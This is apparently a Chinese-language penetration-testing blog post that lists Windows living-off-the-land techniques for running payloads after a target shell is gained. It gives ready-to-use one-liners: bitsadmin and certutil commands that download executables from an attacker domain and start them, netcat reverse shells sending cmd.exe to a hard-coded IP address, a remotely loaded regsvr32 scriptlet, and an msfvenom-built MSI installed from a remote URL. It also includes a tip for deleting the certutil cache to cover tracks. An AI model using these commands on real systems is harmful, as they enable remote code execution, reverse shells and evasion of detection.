本文最后更新于 2024年8月23日 下午
0、简介
拿到目标shell可以使用下面几种命令执行的姿势。
1、CobaltStrike 命令上线
使用CobaltStrike生成powershell payload

2、bitsadmin
bitsadmin是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。
注:需要管理员权限,普通用户没有权限使用,保存文件需要绝对路径。
1
| bitsadmin /transfer n http://xx.imortal.icu/artifact.exe C:\shell.exe & start C:\shell.exe
|


使用nc反弹shell
1
| bitsadmin /transfer n http://xx.imortal.icu/nc.exe C:\nc.exe & start C:\nc.exe -t -e cmd.exe 121.4.69.24 6667
|

3、certutil
certutil工具用于备份证书服务,xp-win10都支持。certutil下载文件会留下缓存,建议下载文件后对缓存进行删除。
注:缓存位置
1 2
| %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content certutil -urlcache -split -f http://xx.imortal.icu/artifact.exe 7z.exe & start 7z.exe
|

注:certutil可以使用普通用户下运行,cs获得的权限根据命令用户的权限,普通用户不带红色闪电,使用管理员运行会带红色闪电
当然也可以使用nc反弹shell
1
| certutil -urlcache -split -f http://xx.imortal.icu/nc.exe nc.exe & start nc.exe -t -e cmd.exe 121.4.69.24 6667
|

4、regsvr32
regsvr32命令用于注册COM组件,是Windows系统提供用来向系统注册控件或者卸载控件的命令。我们可以通过构造.sct文件,去下载执行我们的后门程序。
构造.sct文件执行命令
1 2 3 4 5 6 7 8 9 10 11 12
| <?XML version="1.0"?> <scriptlet> <registration progid="ShortJSRAT" classid="{10001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ ps = "cmd.exe /c calc.exe"; new ActiveXObject("WScript.Shell").Run(ps,0,true); ]]> </script> </registration> </scriptlet> regsvr32.exe /u /n /s /i:http://xx.imortal.icu/calc.sct scrobj.dll
|

5、msiexec
1 2
| msfvenom -p windows/exec CMD='calc.exe' -f msi > calc.msi
|

1
| msiexec /q /i http://tools.imortal.icu/calc.msi
|
